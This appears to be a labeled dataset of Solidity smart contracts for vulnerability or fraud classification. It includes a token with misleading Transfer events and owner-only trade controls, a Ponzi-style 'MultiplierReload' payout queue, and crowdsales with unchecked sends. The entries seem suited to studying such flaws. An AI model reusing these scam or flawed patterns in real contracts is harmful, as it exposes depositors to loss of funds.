_saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,739
pragma solidity ^0.4.18; interface token { function transfer(address receiver, uint amount); } contract Crowdsale { address public beneficiary; uint public fundingGoal; uint public amountRaised; uint public deadline; uint public price; token public tokenReward; mapping(address => uint256) public balanceOf; bool fundingGoalReached = false; bool crowdsaleClosed = false; event GoalReached(address recipient, uint totalAmountRaised); event FundTransfer(address backer, uint amount, bool isContribution); function Crowdsale( address ifSuccessfulSendTo, uint fundingGoalInEthers, uint durationInMinutes, uint etherCostOfEachToken, address addressOfTokenUsedAsReward ) { beneficiary = ifSuccessfulSendTo; fundingGoal = fundingGoalInEthers * 1 ether; deadline = now + durationInMinutes * 1 minutes; price = etherCostOfEachToken * 1 ether; tokenReward = token(addressOfTokenUsedAsReward); } function () payable { require(!crowdsaleClosed); uint amount = msg.value; balanceOf[msg.sender] += amount; amountRaised += amount; tokenReward.transfer(msg.sender, amount / price); beneficiary.send(amountRaised); amountRaised = 0; FundTransfer(msg.sender, amount, true); } }
0
2,153
pragma solidity ^0.4.25; contract MultiplierReload { address constant private PROMO = 0xd75a3e907058E63e2818Ea74F243B64A58737c84; uint constant public PROMO_PERCENT = 7; uint constant public MULTIPLIER = 121; struct Deposit { address depositor; uint128 deposit; uint128 expect; } Deposit[] private queue; uint public currentReceiverIndex = 0; function () public payable { if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value <= 10 ether); queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100))); uint promo = msg.value*PROMO_PERCENT/100; PROMO.send(promo); pay(); } } function pay() private { uint128 money = uint128(address(this).balance); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete queue[idx]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
0
353
pragma solidity ^0.4.22; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Marketplace is Ownable { using SafeMath for uint256; event ProductCreated(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds); event ProductUpdated(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds); event ProductDeleted(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds); event ProductRedeployed(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds); event ProductOwnershipOffered(address indexed owner, bytes32 indexed id, address indexed to); event ProductOwnershipChanged(address indexed newOwner, bytes32 indexed id, address indexed oldOwner); event Subscribed(bytes32 indexed productId, address indexed subscriber, uint endTimestamp); event NewSubscription(bytes32 indexed productId, address indexed subscriber, uint endTimestamp); event SubscriptionExtended(bytes32 indexed productId, address indexed subscriber, uint endTimestamp); event SubscriptionTransferred(bytes32 indexed productId, address indexed from, address indexed to, uint secondsTransferred); event ExchangeRatesUpdated(uint timestamp, uint dataInUsd); enum ProductState { NotDeployed, Deployed } enum Currency { DATA, USD } struct Product { bytes32 id; string name; address owner; address beneficiary; uint pricePerSecond; Currency priceCurrency; uint minimumSubscriptionSeconds; ProductState state; mapping(address => TimeBasedSubscription) subscriptions; address newOwnerCandidate; } struct TimeBasedSubscription { uint endTimestamp; } ERC20 public datacoin; address public currencyUpdateAgent; function Marketplace(address datacoinAddress, address currencyUpdateAgentAddress) Ownable() public { _initialize(datacoinAddress, currencyUpdateAgentAddress); } function _initialize(address datacoinAddress, address currencyUpdateAgentAddress) internal { currencyUpdateAgent = currencyUpdateAgentAddress; datacoin = ERC20(datacoinAddress); } mapping (bytes32 => Product) public products; function getProduct(bytes32 id) public view returns (string name, address owner, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds, ProductState state) { return ( products[id].name, products[id].owner, products[id].beneficiary, products[id].pricePerSecond, products[id].priceCurrency, products[id].minimumSubscriptionSeconds, products[id].state ); } modifier onlyProductOwner(bytes32 productId) { Product storage p = products[productId]; require(p.id != 0x0, "error_notFound"); require(p.owner == msg.sender || owner == msg.sender, "error_productOwnersOnly"); _; } function createProduct(bytes32 id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds) public whenNotHalted { require(id != 0x0, "error_nullProductId"); require(pricePerSecond > 0, "error_freeProductsNotSupported"); Product storage p = products[id]; require(p.id == 0x0, "error_alreadyExists"); products[id] = Product(id, name, msg.sender, beneficiary, pricePerSecond, currency, minimumSubscriptionSeconds, ProductState.Deployed, 0); emit ProductCreated(msg.sender, id, name, beneficiary, pricePerSecond, currency, minimumSubscriptionSeconds); } function deleteProduct(bytes32 productId) public onlyProductOwner(productId) { Product storage p = products[productId]; require(p.state == ProductState.Deployed, "error_notDeployed"); p.state = ProductState.NotDeployed; emit ProductDeleted(p.owner, productId, p.name, p.beneficiary, p.pricePerSecond, p.priceCurrency, p.minimumSubscriptionSeconds); } function redeployProduct(bytes32 productId) public onlyProductOwner(productId) { Product storage p = products[productId]; require(p.state == ProductState.NotDeployed, "error_mustBeNotDeployed"); p.state = ProductState.Deployed; emit ProductRedeployed(p.owner, productId, p.name, p.beneficiary, p.pricePerSecond, p.priceCurrency, p.minimumSubscriptionSeconds); } function updateProduct(bytes32 productId, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds) public onlyProductOwner(productId) { require(pricePerSecond > 0, "error_freeProductsNotSupported"); Product storage p = products[productId]; p.name = name; p.beneficiary = beneficiary; p.pricePerSecond = pricePerSecond; p.priceCurrency = currency; p.minimumSubscriptionSeconds = minimumSubscriptionSeconds; emit ProductUpdated(p.owner, p.id, name, beneficiary, pricePerSecond, currency, minimumSubscriptionSeconds); } function offerProductOwnership(bytes32 productId, address newOwnerCandidate) public onlyProductOwner(productId) { products[productId].newOwnerCandidate = newOwnerCandidate; emit ProductOwnershipOffered(products[productId].owner, productId, newOwnerCandidate); } function claimProductOwnership(bytes32 productId) public whenNotHalted { Product storage p = products[productId]; require(msg.sender == p.newOwnerCandidate, "error_notPermitted"); emit ProductOwnershipChanged(msg.sender, productId, p.owner); p.owner = msg.sender; p.newOwnerCandidate = 0; } function getSubscription(bytes32 productId, address subscriber) public view returns (bool isValid, uint endTimestamp) { TimeBasedSubscription storage sub; (isValid, , sub) = _getSubscription(productId, subscriber); endTimestamp = sub.endTimestamp; } function getSubscriptionTo(bytes32 productId) public view returns (bool isValid, uint endTimestamp) { return getSubscription(productId, msg.sender); } function buy(bytes32 productId, uint subscriptionSeconds) public whenNotHalted { var (, product, sub) = _getSubscription(productId, msg.sender); require(product.state == ProductState.Deployed, "error_notDeployed"); _addSubscription(product, msg.sender, subscriptionSeconds, sub); uint price = getPriceInData(subscriptionSeconds, product.pricePerSecond, product.priceCurrency); require(datacoin.transferFrom(msg.sender, product.beneficiary, price), "error_paymentFailed"); } function hasValidSubscription(bytes32 productId, address subscriber) public constant returns (bool isValid) { (isValid, ,) = _getSubscription(productId, subscriber); } function transferSubscription(bytes32 productId, address newSubscriber) public whenNotHalted { var (isValid, product, sub) = _getSubscription(productId, msg.sender); require(isValid, "error_subscriptionNotValid"); uint secondsLeft = sub.endTimestamp.sub(block.timestamp); TimeBasedSubscription storage newSub = product.subscriptions[newSubscriber]; _addSubscription(product, newSubscriber, secondsLeft, newSub); delete product.subscriptions[msg.sender]; emit SubscriptionTransferred(productId, msg.sender, newSubscriber, secondsLeft); } function _getSubscription(bytes32 productId, address subscriber) internal constant returns (bool subIsValid, Product storage, TimeBasedSubscription storage) { Product storage p = products[productId]; require(p.id != 0x0, "error_notFound"); TimeBasedSubscription storage s = p.subscriptions[subscriber]; return (s.endTimestamp >= block.timestamp, p, s); } function _addSubscription(Product storage p, address subscriber, uint addSeconds, TimeBasedSubscription storage oldSub) internal { uint endTimestamp; if (oldSub.endTimestamp > block.timestamp) { require(addSeconds > 0, "error_topUpTooSmall"); endTimestamp = oldSub.endTimestamp.add(addSeconds); oldSub.endTimestamp = endTimestamp; emit SubscriptionExtended(p.id, subscriber, endTimestamp); } else { require(addSeconds >= p.minimumSubscriptionSeconds, "error_newSubscriptionTooSmall"); endTimestamp = block.timestamp.add(addSeconds); TimeBasedSubscription memory newSub = TimeBasedSubscription(endTimestamp); p.subscriptions[subscriber] = newSub; emit NewSubscription(p.id, subscriber, endTimestamp); } emit Subscribed(p.id, subscriber, endTimestamp); } uint public dataPerUsd = 100000000000000000; function updateExchangeRates(uint timestamp, uint dataUsd) public { require(msg.sender == currencyUpdateAgent, "error_notPermitted"); require(dataUsd > 0); dataPerUsd = dataUsd; emit ExchangeRatesUpdated(timestamp, dataUsd); } function getPriceInData(uint subscriptionSeconds, uint price, Currency unit) public view returns (uint datacoinAmount) { if (unit == Currency.DATA) { return price.mul(subscriptionSeconds); } return price.mul(dataPerUsd).div(10**18).mul(subscriptionSeconds); } event Halted(); event Resumed(); bool public halted = false; modifier whenNotHalted() { require(!halted || owner == msg.sender, "error_halted"); _; } function halt() public onlyOwner { halted = true; emit Halted(); } function resume() public onlyOwner { halted = false; emit Resumed(); } function reInitialize(address datacoinAddress, address currencyUpdateAgentAddress) public onlyOwner { _initialize(datacoinAddress, currencyUpdateAgentAddress); } }
1
4,248
pragma solidity ^0.4.18; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() public onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(0X0, _to, _amount); return true; } function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract StrikeCoin is MintableToken, Pausable{ string public name = "StrikeCoin Token"; string public symbol = "STC"; uint256 public decimals = 18; event Ev(string message, address whom, uint256 val); struct XRec { bool inList; address next; address prev; uint256 val; } struct QueueRecord { address whom; uint256 val; } address first = 0x0; address last = 0x0; mapping (address => XRec) public theList; QueueRecord[] theQueue; function add(address whom, uint256 value) internal { theList[whom] = XRec(true,0x0,last,value); if (last != 0x0) { theList[last].next = whom; } else { first = whom; } last = whom; Ev("add",whom,value); } function remove(address whom) internal { if (first == whom) { first = theList[whom].next; theList[whom] = XRec(false,0x0,0x0,0); return; } address next = theList[whom].next; address prev = theList[whom].prev; if (prev != 0x0) { theList[prev].next = next; } if (next != 0x0) { theList[next].prev = prev; } theList[whom] =XRec(false,0x0,0x0,0); Ev("remove",whom,0); } function update(address whom, uint256 value) internal { if (value != 0) { if (!theList[whom].inList) { add(whom,value); } else { theList[whom].val = value; Ev("update",whom,value); } return; } if (theList[whom].inList) { remove(whom); } } function transfer(address _to, uint _value) public whenNotPaused returns (bool) { bool result = super.transfer(_to, _value); update(msg.sender,balances[msg.sender]); update(_to,balances[_to]); return result; } function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { bool result = super.transferFrom(_from, _to, _value); update(_from,balances[_from]); update(_to,balances[_to]); return result; } function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) { bool result = super.mint(_to,_amount); update(_to,balances[_to]); return result; } function StrikeCoin() public{ owner = msg.sender; } function changeOwner(address newOwner) public onlyOwner { owner = newOwner; } } contract StrikeCoinCrowdsale is Ownable, Pausable { using SafeMath for uint256; StrikeCoin public token = new StrikeCoin(); uint256 public startTimestamp = 1516773600; uint256 public endTimestamp = 1519452000; uint256 etherToWei = 10**18; address public hardwareWallet = 0xb0c7fc7fFe80867A5Bd2e31e43d4D494085321B3; address public restrictedWallet = 0xD36AA5Eaf6B1D6eC896E4A110501a872773a0125; address public bonusWallet = 0xb9325bd27e91D793470F84e9B3550596d34Bbe26; mapping (address => uint256) public deposits; uint256 public numberOfPurchasers; uint[] private bonus = [8,8,4,4,2,2,0,0,0,0]; uint256 public rate = 2400; uint256 public weiRaised; uint256 public tokensSold; uint256 public tokensGranted = 0; uint256 public minContribution = 1 finney; uint256 public hardCapEther = 50000; uint256 hardcap = hardCapEther * etherToWei; uint256 maxBonusRate = 20; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event MainSaleClosed(); uint256 public weiRaisedInPresale = 0 ether; uint256 public grantedTokensHardCap ; function setWallet(address _wallet) public onlyOwner { require(_wallet != 0x0); hardwareWallet = _wallet; } function setRestrictedWallet(address _restrictedWallet) public onlyOwner { require(_restrictedWallet != 0x0); restrictedWallet = _restrictedWallet; } function setHardCapEther(uint256 newEtherAmt) public onlyOwner{ require(newEtherAmt > 0); hardCapEther = newEtherAmt; hardcap = hardCapEther * etherToWei; grantedTokensHardCap = etherToWei * hardCapEther*rate*40/60*(maxBonusRate+100)/100; } function StrikeCoinCrowdsale() public { grantedTokensHardCap = etherToWei * hardCapEther*rate*40/60*(maxBonusRate+100)/100; require(startTimestamp >= now); require(endTimestamp >= startTimestamp); } modifier validPurchase { require(now >= startTimestamp); require(now < endTimestamp); require(msg.value >= minContribution); _; } function hasEnded() public constant returns (bool) { if (now > endTimestamp) return true; return false; } function buyTokens(address beneficiary) public payable validPurchase { require(beneficiary != 0x0); uint256 weiAmount = msg.value; if (deposits[msg.sender] == 0) { numberOfPurchasers++; } deposits[msg.sender] = weiAmount.add(deposits[msg.sender]); uint256 daysInSale = (now - startTimestamp) / (1 days); uint256 thisBonus = 0; if(daysInSale < 7 ){ thisBonus = bonus[daysInSale]; } uint256 tokens = weiAmount.mul(rate); uint256 extraBonus = tokens.mul(thisBonus); extraBonus = extraBonus.div(100); uint256 finalTokenCount ; tokens = tokens.add(extraBonus); finalTokenCount = tokens.add(tokensSold); uint256 weiRaisedSoFar = weiRaised.add(weiAmount); require(weiRaisedSoFar + weiRaisedInPresale <= hardcap); weiRaised = weiRaisedSoFar; tokensSold = finalTokenCount; token.mint(beneficiary, tokens); hardwareWallet.transfer(msg.value); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); } function grantTokens(address beneficiary,uint256 stcTokenCount) public onlyOwner{ stcTokenCount = stcTokenCount * etherToWei; uint256 finalGrantedTokenCount = tokensGranted.add(stcTokenCount); require(finalGrantedTokenCount<grantedTokensHardCap); tokensGranted = finalGrantedTokenCount; token.mint(beneficiary,stcTokenCount); } function finishMinting() public onlyOwner returns(bool){ require(hasEnded()); uint256 deltaBonusTokens = tokensSold-weiRaised*rate; uint256 bonusTokens = weiRaised*maxBonusRate*rate/100-deltaBonusTokens; token.mint(bonusWallet,bonusTokens); uint256 preICOTokens = weiRaisedInPresale*3000; token.mint(bonusWallet,preICOTokens); uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = (issuedTokenSupply-tokensGranted)*40/60-tokensGranted; if(restrictedTokens>0){ token.mint(restrictedWallet, restrictedTokens); tokensGranted = tokensGranted + restrictedTokens; } token.finishMinting(); token.transferOwnership(owner); MainSaleClosed(); return true; } function () payable public { buyTokens(msg.sender); } function setWeiRaisedInPresale(uint256 amount) onlyOwner public { require(amount>=0); weiRaisedInPresale = amount; } function setEndTimeStamp(uint256 end) onlyOwner public { require(end>now); endTimestamp = end; } function setStartTimeStamp(uint256 start) onlyOwner public { startTimestamp = start; } function setBonusAddress(address _bonusWallet) onlyOwner public { require(_bonusWallet != 0x0); bonusWallet = _bonusWallet; } function pauseTrading() onlyOwner public{ token.pause(); } function startTrading() onlyOwner public{ token.unpause(); } function changeTokenOwner(address newOwner) public onlyOwner { require(hasEnded()); token.changeOwner(newOwner); } }
1
4,267
pragma solidity 0.4.25; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract PostDeliveryCrowdsale is TimedCrowdsale { using SafeMath for uint256; mapping(address => uint256) public balances; function withdrawTokens() public { require(hasClosed()); uint256 amount = balances[msg.sender]; require(amount > 0); balances[msg.sender] = 0; _deliverTokens(msg.sender, amount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); } } contract FinalizableCrowdsale is Ownable, TimedCrowdsale { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() public onlyOwner { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract Escrow is Ownable { using SafeMath for uint256; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } function deposit(address _payee) public onlyOwner payable { uint256 amount = msg.value; deposits[_payee] = deposits[_payee].add(amount); emit Deposited(_payee, amount); } function withdraw(address _payee) public onlyOwner { uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; _payee.transfer(payment); emit Withdrawn(_payee, payment); } } contract ConditionalEscrow is Escrow { function withdrawalAllowed(address _payee) public view returns (bool); function withdraw(address _payee) public { require(withdrawalAllowed(_payee)); super.withdraw(_payee); } } contract RefundEscrow is Ownable, ConditionalEscrow { enum State { Active, Refunding, Closed } event Closed(); event RefundsEnabled(); State public state; address public beneficiary; constructor(address _beneficiary) public { require(_beneficiary != address(0)); beneficiary = _beneficiary; state = State.Active; } function deposit(address _refundee) public payable { require(state == State.Active); super.deposit(_refundee); } function close() public onlyOwner { require(state == State.Active); state = State.Closed; emit Closed(); } function enableRefunds() public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function beneficiaryWithdraw() public { require(state == State.Closed); beneficiary.transfer(address(this).balance); } function withdrawalAllowed(address _payee) public view returns (bool) { return state == State.Refunding; } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundEscrow private escrow; constructor(uint256 _goal) public { require(_goal > 0); escrow = new RefundEscrow(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); escrow.withdraw(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { escrow.close(); escrow.beneficiaryWithdraw(); } else { escrow.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { escrow.deposit.value(msg.value)(msg.sender); } } contract SplitPayment { using SafeMath for uint256; uint256 public totalShares = 0; uint256 public totalReleased = 0; mapping(address => uint256) public shares; mapping(address => uint256) public released; address[] public payees; constructor(address[] _payees, uint256[] _shares) public payable { require(_payees.length == _shares.length); for (uint256 i = 0; i < _payees.length; i++) { addPayee(_payees[i], _shares[i]); } } function () external payable {} function claim() public { address payee = msg.sender; require(shares[payee] > 0); uint256 totalReceived = address(this).balance.add(totalReleased); uint256 payment = totalReceived.mul( shares[payee]).div( totalShares).sub( released[payee] ); require(payment != 0); require(address(this).balance >= payment); released[payee] = released[payee].add(payment); totalReleased = totalReleased.add(payment); payee.transfer(payment); } function addPayee(address _payee, uint256 _shares) internal { require(_payee != address(0)); require(_shares > 0); require(shares[_payee] == 0); payees.push(_payee); shares[_payee] = _shares; totalShares = totalShares.add(_shares); } } contract MedianizerInterface { function read() public view returns (bytes32); } contract MedianizerProxyInterface { function medianizer() public view returns (MedianizerInterface); } contract WhitelistInterface { function checkRole(address _operator, string _role) public view; function hasRole(address _operator, string _role) public view returns (bool); } contract WhitelistProxyInterface { function whitelist() public view returns (WhitelistInterface); } contract Payments is Ownable, SplitPayment { constructor() public SplitPayment(new address[](0), new uint256[](0)) { } function addPayment(address _payee, uint256 _amount) public onlyOwner { addPayee(_payee, _amount); } } contract TokenSale is RefundableCrowdsale, PostDeliveryCrowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; address public constant MEDIANIZER_PROXY_ADDRESS = 0xe8f99AEa488aB288f4D787f7FD75b158A5685F8A; address public constant WHITELIST_PROXY_ADDRESS = 0x7223b032180CDb06Be7a3D634B1E10032111F367; MedianizerProxyInterface private medianizerProxy = MedianizerProxyInterface(MEDIANIZER_PROXY_ADDRESS); WhitelistProxyInterface private whitelistProxy = WhitelistProxyInterface(WHITELIST_PROXY_ADDRESS); uint256 public constant MINIMUM_INVESTMENT_WEI = 1e18; uint256 public constant CAP_INVESTMENT_WEI = 1e24; address public beneficiary; uint256 public cap; uint256 public totalTokens; uint256 public totalTokensSold = 0; bool public usd; uint256 public usdPerEthOnFinalize; Payments public payments = new Payments(); mapping(address => uint256) public usdInvestment; constructor( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, uint256 _cap, ERC20 _token, uint256 _goal, bool _usd ) public 